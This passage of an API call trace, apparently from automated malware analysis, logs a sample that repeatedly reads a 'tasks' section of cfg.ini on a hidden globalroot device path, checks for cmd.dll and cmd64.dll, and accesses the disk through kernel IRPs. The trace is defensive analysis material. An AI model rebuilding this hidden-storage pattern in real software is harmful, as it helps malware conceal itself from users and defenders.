FastMutex=0xfffffa80027d3898) [0117.799] KeLeaveCriticalRegion () [0117.799] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.799] ReleaseMutex (hMutex=0xf0) returned 1 [0117.799] Sleep (dwMilliseconds=0x927c0) [0117.818] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.818] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.818] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.818] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.818] KeEnterCriticalRegion () [0117.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.818] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.818] IdePortDispatch () returned 0x103 [0117.818] KeWaitForMutexObject () returned 0x0 [0117.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.818] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.818] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.818] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.818] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.818] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6ba0 [0117.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.818] KeLeaveCriticalRegion () [0117.819] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.819] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.819] KeEnterCriticalRegion () [0117.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.819] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.819] KeLeaveCriticalRegion () [0117.819] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.819] KeEnterCriticalRegion () [0117.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.819] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.819] IdePortDispatch () returned 0x103 [0117.819] KeWaitForMutexObject () returned 0x0 [0117.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.819] KeLeaveCriticalRegion () [0117.819] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.819] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.819] KeEnterCriticalRegion () [0117.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.820] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2a000 [0117.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.820] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.820] IdePortDispatch () returned 0x103 [0117.820] KeWaitForMutexObject () returned 0x0 [0117.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.820] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.820] IdePortDispatch () returned 0x103 [0117.820] KeWaitForMutexObject () returned 0x0 [0117.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.820] KeLeaveCriticalRegion () [0117.820] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.821] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.821] KeEnterCriticalRegion () [0117.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.821] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.821] KeLeaveCriticalRegion () [0117.821] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.821] KeEnterCriticalRegion () [0117.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.821] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.821] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.821] KeLeaveCriticalRegion () [0117.821] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.821] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.821] KeEnterCriticalRegion () [0117.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.822] ExFreePoolWithTag (P=0xfffffa8003aa6ba0, Tag=0x0) [0117.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.822] KeLeaveCriticalRegion () [0117.822] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.822] ReleaseMutex (hMutex=0xf0) returned 1 [0117.822] Sleep (dwMilliseconds=0x927c0) [0117.840] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.840] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.840] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.840] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.840] KeEnterCriticalRegion () [0117.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.843] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.843] IdePortDispatch () returned 0x103 [0117.844] KeWaitForMutexObject () returned 0x0 [0117.844] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.844] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.844] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.844] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.844] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.844] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cfe00 [0117.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.844] KeLeaveCriticalRegion () [0117.844] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.844] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.844] KeEnterCriticalRegion () [0117.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.844] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0117.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.844] KeLeaveCriticalRegion () [0117.844] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.844] KeEnterCriticalRegion () [0117.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.844] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.844] IdePortDispatch () returned 0x103 [0117.845] KeWaitForMutexObject () returned 0x0 [0117.845] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.845] KeLeaveCriticalRegion () [0117.845] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.845] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.845] KeEnterCriticalRegion () [0117.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.845] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d4f000 [0117.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa80039d6bf0 [0117.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.845] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.845] IdePortDispatch () returned 0x103 [0117.845] KeWaitForMutexObject () returned 0x0 [0117.845] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa80039d6bf0 [0117.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.845] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.845] IdePortDispatch () returned 0x103 [0117.846] KeWaitForMutexObject () returned 0x0 [0117.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.846] KeLeaveCriticalRegion () [0117.846] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.846] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.846] KeEnterCriticalRegion () [0117.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.846] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0117.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.846] KeLeaveCriticalRegion () [0117.847] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.847] KeEnterCriticalRegion () [0117.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.847] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0117.847] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.847] KeLeaveCriticalRegion () [0117.847] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.847] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.847] KeEnterCriticalRegion () [0117.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.847] ExFreePoolWithTag (P=0xfffffa80039cfe00, Tag=0x0) [0117.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.847] KeLeaveCriticalRegion () [0117.847] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.847] ReleaseMutex (hMutex=0xf0) returned 1 [0117.847] Sleep (dwMilliseconds=0x927c0) [0117.865] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.865] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.865] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.865] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.865] KeEnterCriticalRegion () [0117.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.868] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.868] IdePortDispatch () returned 0x103 [0117.869] KeWaitForMutexObject () returned 0x0 [0117.869] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.870] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.870] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.870] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.870] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.870] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28d00 [0117.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.870] KeLeaveCriticalRegion () [0117.870] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.870] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.870] KeEnterCriticalRegion () [0117.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.870] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.870] KeLeaveCriticalRegion () [0117.870] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.870] KeEnterCriticalRegion () [0117.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.870] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.870] IdePortDispatch () returned 0x103 [0117.870] KeWaitForMutexObject () returned 0x0 [0117.870] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.870] KeLeaveCriticalRegion () [0117.871] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.871] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.871] KeEnterCriticalRegion () [0117.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df1000 [0117.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.871] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.871] IdePortDispatch () returned 0x103 [0117.871] KeWaitForMutexObject () returned 0x0 [0117.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.871] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.871] IdePortDispatch () returned 0x103 [0117.872] KeWaitForMutexObject () returned 0x0 [0117.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.872] KeLeaveCriticalRegion () [0117.872] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.872] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.872] KeEnterCriticalRegion () [0117.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.872] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.872] KeLeaveCriticalRegion () [0117.873] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.873] KeEnterCriticalRegion () [0117.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.873] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.873] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa64b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.873] KeLeaveCriticalRegion () [0117.873] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.873] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.873] KeEnterCriticalRegion () [0117.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.873] ExFreePoolWithTag (P=0xfffffa8003b28d00, Tag=0x0) [0117.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.873] KeLeaveCriticalRegion () [0117.873] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.873] ReleaseMutex (hMutex=0xf0) returned 1 [0117.873] Sleep (dwMilliseconds=0x927c0) [0117.892] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.892] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.892] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.892] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.892] KeEnterCriticalRegion () [0117.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.892] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.892] IdePortDispatch () returned 0x103 [0117.892] KeWaitForMutexObject () returned 0x0 [0117.892] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.892] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.892] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.893] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.893] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.893] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6940 [0117.893] 